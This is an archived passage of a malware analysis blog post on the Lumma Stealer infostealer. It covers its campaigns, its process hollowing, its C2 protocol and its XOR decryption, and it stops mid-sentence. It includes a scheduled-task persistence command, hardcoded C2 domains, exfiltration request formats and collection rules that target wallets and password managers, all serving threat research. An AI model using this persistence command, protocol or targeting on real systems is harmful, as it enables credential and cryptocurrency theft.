{
	"id": "5b21ee0b-d47c-4f61-b2a0-b65e133287c3",
	"created_at": "2026-05-05T02:45:58.105434Z",
	"updated_at": "2026-05-05T02:46:37.185606Z",
	"deleted_at": null,
	"sha1_hash": "d2361cdf38657bd6042dda946cb31d542a894e81",
	"title": "Lumma Stealer",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4356456,
	"plain_text": "Lumma Stealer\r\nArchived: 2026-05-05 02:36:25 UTC\r\nAuthor: Federico Fantini\r\nEstimated reading time: 30 minutes\r\nReading tip: Clicking on the image allows viewing it in full resolution for improved readability.\r\nSummary\r\nIntroduction\r\nLumma Stealer overview\r\nGlobal Threat\r\nRecord growth\r\nCampaigns\r\nPersistence\r\nDefense evasion\r\nTelegram as marketplace for stolen logs\r\nFirst stage analysis\r\nStatic analysis\r\nDynamic analysis and process \"un-hollowing\"\r\nInjected memory analysis\r\nCommunication analysis (lumma v4)\r\nInetSim\r\nProxy\r\nSummary communication flow\r\nact=life\r\nact=recive_message\r\nact=send_message (there are multiple requests)\r\nact=get_message\r\nAnalysis of communication phases\r\nPrerequisites for Advanced Analysis\r\nSecond stage analysis\r\nIdentifying the decryption routine\r\nUnderstanding the Decryption Logic\r\nReusing the C2 Decryption Logic in Communication Decryption\r\nAnalysis of Decrypted C2 Responses\r\nEnrichment of the analysis\r\nDropped file decryption\r\nData Exfiltration\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 1 of 36\n\nDynamic retrieve of new C2s\r\nUpdate 10/01/2025: Changed hardcoded domains decryption\r\nIntroduction\r\nDynamic analysis\r\nIdentifying the decryption routine\r\nUnderstanding the Decryption Logic\r\nSalsa20 and Chacha20\r\nChacha20 proof\r\nUpdate 06/03/2025: Changed communication protocol = lumma v6.3\r\nIntroduction\r\nRetrieve configuration and commands\r\nExfiltrate stolen data\r\nUpdate 01/04/2025: Strings encryption\r\nRetrieved configuration strings are also encrypted\r\nDropped file decryption\r\nLumma Stealer seen from the Certego perspective\r\nA personal consideration\r\nFinal Remarks\r\nIntroduction\r\nThis analysis served as a practical testbed at Certego to evaluate a well-established technique: emulating the\r\nnetwork behavior of malware in order to impersonate an infected machine from the perspective of the C2\r\ninfrastructure. Within the scope of my thesis project, TheTrackerShow, the knowledge acquired through the\r\nanalysis of Lumma Stealer’s communication protocol proved essential for the design and development of an\r\nautomated framework. This system is capable of continuously interacting with malicious servers, monitoring\r\nongoing campaigns, and generating statistical visualizations to support threat intelligence activities.\r\nLumma Stealer overview\r\nIn recent years, the evolution of Malware-as-a-Service (MaaS) has made cybercrime increasingly accessible,\r\nwhich contributed to the spread of infostealers like Lumma Stealer (or Lumma C2). Introduced in 2022, Lumma\r\nhas quickly gained popularity in underground forums due to its ease of use and continuous updates by its\r\ndevelopers, with prices ranging from $250 to $20,000.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 2 of 36\n\nGlobal Threat\r\nLumma Stealer has rapidly emerged as a widespread cyber threat, active across continents and industry sectors. Its\r\nmodular architecture, availability as a Malware-as-a-Service (MaaS), and sophisticated evasion techniques have\r\ncontributed to its global proliferation, making it one of the most active info-stealers in recent years.\r\nSeveral sources document its geographical impact. According to Netskope, large-scale campaigns have been\r\nobserved in Argentina, Colombia, the United States, and the Philippines, with a particular focus on the\r\ntelecommunications sector. Similarly, ESET telemetry recorded a sharp increase in detections across Peru, Poland,\r\nSpain, Mexico, and Slovakia, showing a strong presence in Latin America and Eastern Europe.\r\nMicrosoft published a global heatmap highlighting significant infection rates across North America, Western\r\nEurope, and parts of Asia, confirming Lumma’s global footprint.\r\nOn a national level, CERT-AgID confirmed that Lumma Stealer was actively distributed in Italy throughout 2024.\r\nThe campaigns primarily relied on phishing emails containing malicious attachments or compressed archives,\r\nhighlighting the malware's adaptability to the Italian threat landscape as well.\r\nRecord growth\r\nAs reported in ESET's second half of 2024 report, Lumma Stealer recorded a 369% distribution increase\r\ncompared to the previous half-year, reaching almost 50'000 detections in 2024, which made it one of the ten most\r\ndetected infostealers by ESET products.\r\nFurthermore in the Any.run annual 2024 report we see how Lumma Stealer leads the way with 12'655 detections,\r\na newcomer compared to 2023, highlighting its rapid rise in the cyber threat landscape.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 3 of 36\n\nCampaigns\r\nLumma Stealer campaigns are characterized by deceptive and constantly evolving distribution tactics designed to\r\nsteal sensitive user data. The main distribution methods include:\r\nFake CAPTCHA Pages: Users are redirected to fake CAPTCHA pages that execute PowerShell commands\r\nunder the guise of human verification, resulting in malware download. These pages often appear on\r\ncompromised websites or via malvertising\r\nPhishing Emails: Traditional phishing tactics that lure users into opening malicious attachments or clicking\r\nlinks to malware-hosting sites\r\nSpear Phishing via GitHub: Attackers impersonate GitHub’s security team, sending fake alerts or posting\r\nbogus fixes in repository comments. The links point to ZIP files containing the malware\r\nCracked Software: Lumma has been distributed through pirated software, targeting users looking for\r\nunauthorized or free applications\r\nPersistence\r\nAs reported by picussecurity, uses of persistence mechanisms have been highlighted, especially when\r\nimplemented together with other malware such as loaders or RATs. Although Lumma Stealer itself often follows a\r\ngrab-and-go model (executing quickly and exfiltrating data in one shot), more advanced operations aim to\r\nmaintain long-term access to infected systems.\r\nTwo main persistence techniques have been observed:\r\nStartup Folder Abuse: the malware creates an .url shortcut file in the Windows Startup folder. These\r\npoint to JavaScript files (e.g., HealthPulse.js ) that are executed automatically via mshta.exe when the\r\nuser logs in.\r\nScheduled Tasks: the malware sets scheduled tasks. One example is a task named \"Lodging\", configured\r\nto run a JavaScript script (e.g., Quantifyr.js ) every five minutes using wscript.exe :\r\n schtasks /create /tn \"Lodging\" /tr \"wscript.exe Quantifyr.js\" /sc minute /mo 5\r\nLumma Stealer often runs once without persistence, but when bundled with RATs or loaders, attackers can\r\nmaintain access and redeploy it as needed. In general defenders should scrutinize unusual startup entries or\r\nscheduled tasks, which may signal an ongoing infection.\r\nDefense evasion\r\nAs reported by bitsight, Lumma Stealer operators leveraged Cloudflare services to mask the source IP addresses of\r\ntheir C2 servers. This type of obfuscation makes it difficult for defenders to track and block malicious\r\ninfrastructure.\r\nThe use of cloudflare offers several tactical advantages for threat actors, here are a few:\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 4 of 36\n\nDDoS protection: the C2 backend is “shielded” behind the Cloudflare infrastructure, so any overload\r\nattempts by researchers or automated countermeasures are mitigated by Cloudflare’s reverse proxy.\r\nReal IP obfuscation: the real IP addresses of the C2 servers are not visible to researchers, they only have\r\naccess to the IPs of Cloudflare nodes (e.g. 104.x.x.x , 172.x.x.x ).\r\nAutomatic blocking of suspicious traffic: Cloudflare can block or filter requests from TOR, VPN, or\r\nknown malicious IPs. In these cases, interactive challenges are requested (e.g. CAPTCHA or Turnstile) that\r\nhinder automated crawling and reverse engineering tools.\r\nFrom a threat actor’s point of view, this means being able to filter automatic analyses performed by sandboxes and\r\ncrawlers through proxies and, above all, being able to improve the survivability of their servers by limiting access\r\nto only “legitimate victims”, i.e. those who have actually contracted the malware.\r\nTelegram as marketplace for stolen logs\r\nTelegram is widely used by Lumma Stealer operators to sell stolen credentials through dedicated channels and\r\nbots. As highlighted by SOCRadar, these platforms offer searchable access to logs, subscription tiers, and\r\nautomated delivery of fresh data. This transforms Telegram into a ready-made black market for infostealer output,\r\nstreamlining the monetization of compromised accounts.\r\nFirst stage analysis\r\nThe initial technical analysis focused on a sample of Lumma Stealer retrieved from the MalwareBazaar platform.\r\nStatic analysis\r\nAs shown in the following image, the import table includes several suspicious functions, of which related to\r\nreconnaissance. However, their limited presence suggests that much of the functionality may be hidden. This is\r\nsupported by the presence of a high-entropy section named .open , which strongly indicates the use of packing or\r\nobfuscation techniques. High entropy is commonly associated with compressed or encrypted code, often\r\nemployed to hinder static analysis and conceal malicious behavior.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 5 of 36\n\nAs visible in the next image, the .open section appears unusually uniform and exhibits very high entropy, a\r\nclear indication of obfuscation or compression. Even the .text section shows signs of being affected by packing\r\ntechniques. The visual structure suggests that a large portion (about 92%) of the binary is packed, making static\r\nanalysis and advanced static analysis inefficient at this stage. In such cases, dynamic analysis or unpacking is\r\ngenerally required to expose the underlying malicious behavior.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 6 of 36\n\nThe .open section lacks any meaningful code references, apart from a pointer in the PE header. Again this\r\nbehavior is typical of packed binaries, where custom sections are mapped but only accessed during runtime\r\nunpacking.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 7 of 36\n\nAnother notable section is .00cfg , whose uncommon name and contents raise suspicion. It includes a reference\r\nto the _guard_check_icall() function (it is associated with the /guard:cf compiler flag, for further\r\ninformation refer to Microsoft Docs), which is linked to control flow integrity mechanisms that insert runtime\r\nchecks on indirect calls. This would explain the unusually high number of cross-references observed in the\r\ndisassembled code and reinforces the presence of protective or evasive techniques within the binary.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 8 of 36\n\nDynamic analysis and process \"un-hollowing\"\r\nSince static analysis proves ineffective due to the presence of obfuscation techniques, we shift our focus to\r\ndynamic analysis. This approach allows us to bypass the obfuscation layer and reach the core functionality hidden\r\nwithin the malware.\r\nOne of the quickest and most efficient ways to gather behavioral insights with minimal manual effort is by using a\r\nsandbox environment. At Certego, we maintain a private instance of CAPE Sandbox. For this analysis, has proven\r\nto be an especially effective tool.\r\nAlthough the sandbox is internal and not accessible to the public, we can still share screenshots of the results to\r\nillustrate the malware's behavior.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 9 of 36\n\nThe image illustrates a classic case of process hollowing, a technique widely used by modern malware to\r\nstealthily execute arbitrary code under the guise of a legitimate process. In the scenario depicted, the initial\r\nprocess corresponds to the malware itself which, at this early stage, has not yet exhibited any malicious behavior\r\nand therefore appears legitimate. The malware then creates a new instance of itself (a clone of the original\r\nexecutable process) launched explicitly in a suspended state. It is on this newly created process that the hollowing\r\ntechnique is applied: the original contents are overwritten with a malicious payload, which is later executed under\r\nthe identity of what appears to be an unmodified and benign executable.\r\nThe sequence begins with the creation of the suspended process using the high-level API CreateProcessW , which\r\ninternally invokes the lower-level native API NtCreateUserProcess . The use of the CREATE_SUSPENDED flag\r\n(hex value 0x00000004) ensures that the primary thread of the process is created but not immediately executed.\r\nThis provides a temporal window in which the attacker can modify the process's memory before any code is run.\r\nIt is important to note that the order of the first three calls appears reversed due to how CAPE Sandbox logs API\r\ncalls based on completion order rather than invocation order. Specifically, between NtCreateUserProcess and\r\nCreateProcessW , the sysenter instruction is observed. This instruction is used to transition directly from user\r\nmode to kernel mode and is internally employed by functions such as NtCreateUserProcess to perform system\r\ncalls, enabling direct interaction with the Windows kernel.\r\nAfter the process has been created, the following operations are carried out:\r\nNtAllocateVirtualMemory is used to reserve memory space within the remote process (in this case at base\r\naddress 0x00400000 , with a size of 0x00059000 bytes). Notably, the protection flags include\r\nPAGE_EXECUTE_READWRITE , which allows both writing and execution within the same region (a highly\r\nsuspicious condition in legitimate software contexts).\r\nWriteProcessMemory writes a malicious payload in Portable Executable (PE) format into the allocated\r\nmemory. The data observed in the image clearly resembles a PE binary, beginning with the MZ magic\r\nnumber ( 0x4D5A ), and appears to be injected in multiple non-contiguous segments.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 10 of 36\n\nNtGetContextThread and NtSetContextThread are then used to modify the execution context of the\r\nsuspended thread, specifically updating the value of the EIP (or RIP in 64-bit architectures) register, which\r\nrepresents the instruction pointer. This attribute of the CONTEXT struct is set to the entry point of the\r\ninjected payload ( 0x0040ced0 ), so that execution resumes directly from the injected code rather than the\r\noriginal program logic.\r\nNtResumeThread resumes the execution of the thread, effectively launching the malicious code under the\r\nidentity of what appears to be a legitimate process.\r\nThe following image helps clarify why the child process is not explicitly unmapped during the hollowing\r\nprocedure.\r\nIn this case, the malware performs process hollowing without invoking NtUnmapViewOfSection (the user-mode\r\naccessible syscall) or ZwUnmapViewOfSection (kernel-mode counterpart). The parent process, compiled with\r\nASLR, is loaded at 0x007c0000 , leaving the typical base address 0x00400000 unused in the child. This allows a\r\ndirect NtAllocateVirtualMemory call at 0x00400000 , avoiding the need to unmap any section. If that address\r\nhad been occupied, the allocation would have failed.\r\nThis technique cleverly bypasses EDRs that rely on detecting NtUnmapViewOfSection as a signature for\r\nhollowing. Later, a small memory region is mapped via NtMapViewOfSection at 0x03460000 and quickly\r\nunmapped with NtUnmapViewOfSectionEx (a variant that allows more granular unmapping by accepting a thread\r\nhandle), possibly as a decoy. An analyst might dismiss this late unmap as harmless, missing the earlier stealthy\r\ninjection. Nonetheless, further investigation would reveal the full evasion strategy.\r\nFollowing the sandbox analysis and identification of a process hollowing-compatible sequence, a script for\r\nx64dbg (as well as you can also find the console output) was developed to automate the tracing and memory dump\r\nof the injected payload. The script is designed to be executed once the breakpoint on the entry point of the\r\nanalyzed process is reached, where the executable is loaded into memory but not yet executed.\r\nThe script works on multiple levels. First, it defeats common anti-debugging countermeasures, including the\r\nBeingDebugged flag in the Process Environment Block (PEB) structure. Next, the script sets breakpoints on a set\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 11 of 36\n\nof strategic hollowing detection APIs: CreateProcessW (create the suspended process), VirtualAlloc and\r\nVirtualAllocEx (allocate memory in the remote process address space), WriteProcessMemory (write the\r\npayload), and ResumeThread (resume the thread after injection).\r\nParticular attention is paid to the WriteProcessMemory function. If a buffer containing the MZ signature\r\n(indicator of the header of a PE file) is detected, the script assumes that it is the malicious payload injected into\r\nthe hollowed process. In this case, the handle of the process in which the injection occurred is recorded. All\r\nsubsequent writes to the same handle will be recorded.\r\nWhen ResumeThread is called, the script proceeds to hook the hollowed process through its Process ID, which\r\nwas previously saved, and suspends execution to allow the analyst to manually dump the affected memory. I also\r\ntried to automate this step, but once the debugger hooks into the child process, it is no longer possible to execute\r\ncommands in x64dbg except through the GUI console.\r\nThis approach allows to acquire the entire content of the injected payload before its execution, facilitating static\r\nanalysis of the code and extraction of indicators of compromise.\r\nInjected memory analysis\r\nWhen extracting a Portable Executable (PE) file from a process's memory, the resulting dump often reflects the in-memory layout rather than the original structure on disk.\r\nThis discrepancy occurs because, in memory, slices are aligned according to page boundaries (typically 0x1000\r\nbytes), while on disk they follow file alignment (commonly 0x200 bytes). As a result, fields such as\r\nPointerToRawData and SizeOfRawData in slice headers may not accurately match their original values.\r\nTo reconstruct a valid PE file suitable for static analysis, these fields must be realigned, ensuring that the raw\r\naddresses and sizes match the virtual addresses and sizes observed in memory. This process, described in detail in\r\nRufus M. Brown's blog post, involves modifying the PE headers to reflect the correct mappings, facilitating\r\neffective analysis of the dumped executable.\r\nAs shown in the following image, I modified the address-related values within the “Section Hdrs” tab.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 12 of 36\n\nFurthermore, by examining the “Optional Hdr” tab, we can observe that the DLL Characteristics field contains the\r\nvalue 0x0040 . This value corresponds to the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag, which indicates\r\nthat the binary supports Address Space Layout Randomization (ASLR). This security feature allows the operating\r\nsystem to load the executable at a randomized base address, making memory-based attacks more difficult by\r\nreducing predictability.\r\nHowever, in the context of malware analysis and reverse engineering, ASLR complicates debugging by\r\nrandomizing the base addresses of executables and shared libraries at each execution. To maintain consistent\r\nmemory layouts and simplify the analysis process, it is often necessary to disable ASLR during dynamic analysis\r\nsessions. This can be accomplished by using the editbin utility with the /DYNAMICBASE:NO option:\r\neditbin DYNAMICBASE:NO memdump_179C_00400000_59000.bin\r\nBoth ASLR deactivation and memory realignment steps were systematically applied as preliminary operations to\r\nall analyzed samples, forming the basis for all subsequent steps of the analysis.\r\nCommunication analysis (lumma v4)\r\nTo understand the behavior of malware, especially its communication logic, it is necessary to analyze the structure\r\nand flow of its network activity. Detecting only outgoing connections is not enough; it is essential to analyze more\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 13 of 36\n\ndeeply the sequence of interactions and the conditions that govern them.\r\nThis chapter analyzes two network captures obtained from CAPEv2 sandbox executions. In both cases, the\r\nsandbox is configured to redirect all outbound traffic through a controlled channel, ensuring a secure and isolated\r\nenvironment.\r\nIn the first scenario, all traffic is routed to INetSim, a tool that emulates common internet services (HTTP, DNS,\r\nFTP, etc.) and returns fake but consistent responses. This setup allows the malware to iterate through its list of\r\nembedded C2 domains, progressing only when a response is deemed invalid. As a result, it becomes possible to\r\nsystematically enumerate all hardcoded endpoints and reconstruct the extent of the malicious infrastructure.\r\nIn the second scenario, the sandbox directs traffic through a secure proxy with real internet access. This allows\r\nthe malware to complete its communication stages and retrieve live responses from its C2 server, while still\r\npreserving analyst anonymity and containment.\r\nBy comparing these two execution scenarios, it is possible to reconstruct the malware’s communication protocol\r\nin detail.\r\nInetSim\r\nDuring execution, the sample uses the WinHTTP API to initiate connections and transmit data. The following\r\nfunctions are observed:\r\n1. WinHttpOpen – initializes a session handle\r\n2. WinHttpConnect – creates a connection to a target domain over port 443\r\n3. WinHttpOpenRequest – prepares an HTTP POST request to the /api endpoint with parameter\r\nact=life\r\n4. WinHttpSendRequest – sends the HTTP request to the server\r\n5. WinHttpReceiveResponse – receives the response from the server\r\nThe malware contacted the following domains in sequence:\r\npragapin.sbs\r\nrepostebhu.sbs\r\nthinkyyokej.sbs\r\nducksringjk.sbs\r\nexplainvees.sbs\r\nbrownieyuz.sbs\r\nrottieud.sbs\r\nrelalingj.sbs\r\ntamedgeesy.sbs\r\nEach domain is contacted via a POST /api request carrying act=life as its payload. Since INetSim provides\r\nvalid HTTP-level responses (e.g., HTTP/1.1 200 OK ), the malware proceeds through the full WinHTTP call\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 14 of 36\n\nchain. However, the application-layer content does not match the expected format, so the sample marks the\r\ndomain as inactive and moves on.\r\nAfter exhausting the predefined C2 list, the malware issues a GET request to a Steam profile:\r\nsteamcommunity.com/profiles/76561199724331900\r\nThis suggests a fallback mechanism: when no hardcoded C2 responds appropriately, the malware attempts to\r\nretrieve additional information from a third-party platform. INetSim makes it possible to capture this entire\r\nprocess safely and deterministically, exposing the embedded infrastructure.\r\nProxy\r\nAs in the previous case, the malware employs the WinHTTP API to manage outbound HTTPS requests.\r\nIn this instance, the malware attempts to contact the same list of C2 domains as in the previous execution, but\r\ndoes not receive valid responses. It then sends a GET request to the Steam profile page and subsequently\r\ncontinues communication with a new domain: marshal-zhukov.com . Important to note is that this address is not\r\npart of the original list and is likely retrieved dynamically from the Steam page.\r\nBelow is a summary of the communication flow. (HTTP headers are only shown in the first request to keep the\r\ntext concise.)\r\nSummary communication flow\r\nact=life\r\nClient\r\nMethod: POST /api\r\nHeaders:\r\nConnection: Keep-Alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\nBody: act=life\r\nServer\r\nHeaders:\r\nContent-Type: text/html; charset=UTF-8\r\nTransfer-Encoding: chunked\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 15 of 36\n\nConnection: keep-alive\r\nSet-Cookie: PHPSESSID=mdd1ko4qf5gsb9idied577rfbn; Max-Age=9999999; path=/\r\nBody: ok\r\nact=recive_message\r\nClient\r\nact=recive_message\u0026ver=4.0\u0026lid=BVnUqo--@StayAway777\u0026j=\r\nServer A very long base64-encoded string, likely containing encrypted content.\r\nact=send_message (there are multiple requests)\r\nClient Multipart form data including the following fields:\r\nhwid -\u003e T4U67W9CV4H5D63KM6SXSEX5UPD59TSK\r\npid -\u003e 2\r\nlid -\u003e BVnUqo--@StayAway777\r\nact -\u003e send_message\r\nfile -\u003e (ZIP archive, starts with PK magic number)\r\nServer\r\nok [an IP address]\r\nact=get_message\r\nClient\r\nact=get_message\u0026ver=4.0\u0026lid=BVnUqo--@StayAway777\u0026j=\u0026hwid=T4U67W9CV4H5D63KM6SXSEX5UPD59TSK\r\nServer Another short base64-like string.\r\nAnalysis of communication phases\r\nThe presence of the act= parameter allows us to clearly distinguish four distinct phases within the\r\ncommunication protocol:\r\n1. act=life : likely a simple reachability check, as suggested by the minimal response ( ok ).\r\n2. act=recive_message : possibly a registration step. The server responds with a long base64 string, which\r\ncould contain configuration or commands information.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 16 of 36\n\n3. act=send_message : the malware sends exfiltrated data. The presence of a ZIP file header ( PK ) indicates\r\nstructured, possibly compressed, data theft.\r\n4. act=get_message : the malware may receive additional commands. The format is similar to stage 2 but\r\nshorter.\r\nIn addition, the presence of the ver=4.0 argument may suggest that the malware communicates its current\r\nversion to the server for identification purposes. For the time being, we refer to this version as version 4.\r\nAt this point, the structure of the protocol is partially understood. However, the actual content of the base64\r\nresponses remains unreadable after decoding. This suggests that the data may be encrypted after base64 encoding\r\nor that a custom base64 alphabet is used.\r\nTo confirm this, it is necessary to reverse engineer the malware and analyze the runtime behavior of the relevant\r\ndecoding and decryption routines.\r\nPrerequisites for Advanced Analysis\r\nTo support the analysis workflow, a local HTTPS server was configured to emulate the malware’s C2\r\ncommunication. This is especially useful in advanced stages, where original C2 servers are often offline. Lumma\r\nStealer domains tend to be short-lived, making repeatable analysis unreliable without such setup.\r\nThe first contacted domain, according to captured traffic, is pragapin.sbs . To maintain continuity, the server\r\nwas configured to respond under this domain, replaying payloads previously received from marshal-zhukov.com .\r\nThe environment was set up using the following steps:\r\n1. Generate the HTTPS certificate:\r\n\u0026 'C:\\Program Files\\OpenSSL-Win64\\bin\\openssl.exe' req -x509 -nodes -days 365 -newkey rsa:2048 -keyout p\r\n2. Install and trust the certificate on Windows:\r\nOpen Microsoft Management Console ( mmc.exe )\r\nAdd the \"Certificates\" snap-in for both Current User and Local Computer\r\nNavigate to: Trusted Root Certification Authorities \u003e Certificates\r\nRight-click \u003e All Tasks \u003e Import\r\nImport the previously generated pragapin.sbs-cert.pem file\r\n3. Redirect the C2 domain locally: Add the following entry to the system's hosts file\r\nC:\\Windows\\System32\\drivers\\etc\\hosts :\r\n127.0.0.1 pragapin.sbs\r\nTo verify that the custom HTTPS server correctly handles malware communication, the analysis was\r\ncomplemented with a debugger script for x64dbg. This script automates the placement of breakpoints on key\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 17 of 36\n\nWinHTTP functions involved in network communication, such as WinHttpOpen , WinHttpConnect ,\r\nWinHttpOpenRequest , WinHttpSendRequest , and WinHttpReceiveResponse .\r\nSince winhttp.dll is loaded dynamically, breakpoints cannot be placed at the start of execution. Guided by the\r\nCAPEv2 trace, which confirmed the use of the WinHTTP API, the script monitors calls to LoadLibraryExW and\r\nsets breakpoints only after detecting the load of winhttp.dll .\r\nThis setup provides a clean and reproducible environment to monitor API-level interactions and verify that the\r\nmalware follows the expected communication flow with the emulated C2.\r\nSecond stage analysis\r\nIdentifying the decryption routine\r\nI begin analyzing the second stage by opening the memory-dumped binary obtained from the first phase directly\r\nin Ghidra. The image I create summarizes the logical path I follow during this investigation. Since the malware is\r\ndeeply obfuscated and requires several debugger sessions, the flow is not strictly linear. Rather, it combines the\r\nmost relevant insights collected across multiple executions.\r\nOn the left side of the disassembly, I identify the binary’s entry point. The code is heavily obfuscated, so I choose\r\nto ignore most of the surrounding instructions and focus on segments that can be linked to the malware's\r\ncommunication behavior. In the previous section, I have already identified four main stages in the communication\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 18 of 36\n\nprocess, so my goal is to find a function that includes all of them. This helps me drastically narrow down the\r\nanalysis scope.\r\nI first examine the function at address 0x40e0b0 . It only performs the initial reachability check to determine\r\nwhether the C2 server is active. Since it does not handle any of the remaining communication stages, I move on.\r\nBy following the control flow beyond the function at 0x40f920 , I notice that no additional network-related calls\r\nare made. This observation leads me to the key target of the second stage analysis: the function located at\r\n0x410aa0 , which appears to handle all the remaining three stages of the communication protocol.\r\nAs soon as this function starts, it invokes another subroutine at address 0x436130 , which performs a series of\r\npreparatory operations:\r\ninitializes internal components\r\nissues a WQL query with SELECT * FROM Win32_BIOS to enumerate BIOS information\r\nretrieves the system’s serial number\r\ncalls GetVolumeInformationW\r\nperforms a series of chained calls that finally generate the value used in the communication as hwid , a 32-\r\nbyte hardware identifier\r\nFollowing this, another value is accessed from the .rodata section. This is the lid , and unlike other hwid\r\nidentifier, it is not generated dynamically. It is directly read from a read-only memory, indicating that it is\r\nhardcoded. Given that Lumma Stealer follows a Malware-as-a-Service (MaaS) distribution model, it is reasonable\r\nto assume that the lid parameter serves as a unique identifier for the customer or affiliate who acquired the\r\nstealer. In MaaS ecosystems, such identifiers are typically used to associate infections and activity logs with\r\nspecific clients, enabling usage tracking, build differentiation, or revenue attribution.\r\nStill within the .rodata section, I find additional unusual strings. One of these is passed directly to the function\r\nat address 0x436dc0 , suggesting that this call is responsible for some form of transformation or possibly\r\ncryptographic processing. This part of the code, renamed lumma_decryption() , becomes the focus of the next\r\nphase of the investigation.\r\nUnderstanding the Decryption Logic\r\nI created the following image to summarize the logical path and provide a detailed view of the decryption routine\r\nlumma_decryption() .\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 19 of 36\n\nThis function accepts an encrypted buffer as input and writes the output to a second buffer passed as an argument.\r\nAs shown on the left side of the image, the function begins by calculating the length of the encrypted input and\r\nthen estimates the length of the decoded output.\r\nImmediately afterward, the function invokes a decoding subroutine. Given the structure of the ciphertext, I\r\ninitially suspected that it performed Base64 decoding. To validate this hypothesis and rule out the use of custom\r\nalphabets, I extracted the relevant pseudocode as presented by Ghidra, applied some manual adjustments, and\r\nreimplemented it in Python. The complete script is available here.\r\nI then performed a one-to-one comparison between this Python implementation and the output of Python’s\r\nstandard Base64 decoding function. The results are identical for all hardcoded strings extracted from the binary.\r\nThis confirms that the decoding routine is just Base64.\r\nReturning to the main decryption function, the next operation copies the first 32 bytes of the decoded buffer into a\r\ndedicated memory region, which serves as the decryption key. Following this, the len variable is reduced by 32,\r\nand data_pointer is updated to point precisely to the beginning of the payload + 32 bytes.\r\nThe bottom part of the function, highlighted in red in the image, contains the loop that performs the actual\r\ndecryption. As before, I converted this logic into a standalone Python script for clarity. The complete script is\r\navailable here.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 20 of 36\n\nTo ensure the correctness of the analysis, I systematically compared the translated logic against a standard\r\nimplementation of a block-wise XOR operation using a 32-byte key. In order to eliminate potential edge cases, I\r\ndeveloped two nested loops designed to exhaustively iterate over all possible input combinations and verify that\r\nthe outputs remained consistent across both implementations. The results of this comparison confirm the\r\nfunctional equivalence of the two routines.\r\nThis method echoes the principle of duck typing: if it acts like an XOR cipher, outputs like an XOR cipher, and\r\nstructurally matches an XOR cipher, then we can reasonably conclude it is one.\r\nFinally, the output strings produced by this decryption process are indeed the C2 domains used by the malware.\r\nReusing the C2 Decryption Logic in Communication Decryption\r\nBy simulating the HTTPS server response from pragapin.sbs , as detailed in the section \"Prerequisites for\r\nAdvanced Analysis\", I am able to observe how the malware processes and decrypts the data received in response\r\nto the recive_message and get_message commands.\r\nAs shown in the first figure below, after the WinHttpReceiveResponse and WinHttpReadData calls, the\r\ndownloaded content is stored in a buffer. This buffer is then passed as the first argument to the same decryption\r\nfunction, lumma_decryption() , which was previously identified and analyzed in the static phase of the research.\r\nThis provides strong evidence that the decryption routine used to extract hardcoded C2 domains is repurposed\r\nduring runtime to decode encrypted payloads received from the C2 infrastructure.\r\nIn the second figure, I confirm that the decrypted buffer produces a valid and well-structured JSON response,\r\nsuggesting that this routine is consistently applied to multiple encryption layers within Lumma Stealer's\r\narchitecture.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 21 of 36\n\nTo further demonstrate the correctness of the decryption logic, I reimplement and generalize the routine in Python.\r\nAt the following link, both the function and the resulting outputs are provided.\r\nAnalysis of Decrypted C2 Responses\r\nThe decrypted payload returned by the recive_message command reveals a rich JSON structure containing\r\ndetailed instructions for data collection, as well as a full list of browser extensions and targets of interest. The\r\nstructure is divided into three main sections: ex , mx , and c .\r\nex (Extension List): This array lists numerous browser extensions, mostly cryptocurrency wallets (e.g.,\r\nMetaMask, Ronin Wallet, Trust Wallet, Coinbase, OKX), password managers (e.g., LastPass, Bitwarden,\r\n1Password), and authentication tools (e.g., Authy, EOS Authenticator, GAuth). Each entry includes a\r\nunique identifier (en, likely the Chrome extension ID) and a human-readable name (ez). The presence of\r\nmultiple entries for the same wallet (e.g., MetaMask appears twice with different IDs) suggests that the\r\nstealer is designed to recognize variants or clones of popular extensions.\r\nmx (Meta Instructions): This field appears to provide specific targeting instructions for selected\r\nextensions. For example, the entry for MetaMask includes an et parameter with password derivation\r\nsettings (iterations = 600000), which could be used for brute-force attacks or validating password-protected\r\nvaults offline. This section can be customized for high-value targets that require special handling.\r\nc (Collection Rules): This is the most operational part of the structure. Each object specifies:\r\ntarget path ( p ) – often %appdata% or %localappdata% directory\r\nmatch pattern ( m ) to filter specific files (e.g., keystore , *.sqlite )\r\nexfiltration folder ( z ) on the attacker's side (e.g., Wallets/Ethereum )\r\ncollection depth or method ( d )\r\nmaximum file size ( fs in bytes, typically 20 MB)\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 22 of 36\n\nThese rules clearly indicate the intent to exfiltrate cryptocurrency wallet files, browser session data, and\r\nconfiguration files from FTP/VPN/email clients. Special attention is also paid to password managers and generic\r\nuser profiles, where sensitive credentials or seed phrases may be stored.\r\nThe response to the get_message command is significantly simpler, consisting of a URL pointing to a PE\r\nexecutable ( conhost.exe ) hosted on a remote server. This implies that the bot can receive follow-up stages via\r\nthis channel, possibly to update itself, distribute a payload, or activate specific modules.\r\nEnrichment of the analysis\r\nTo better understand the structure of the decrypted C2 responses used by Lumma 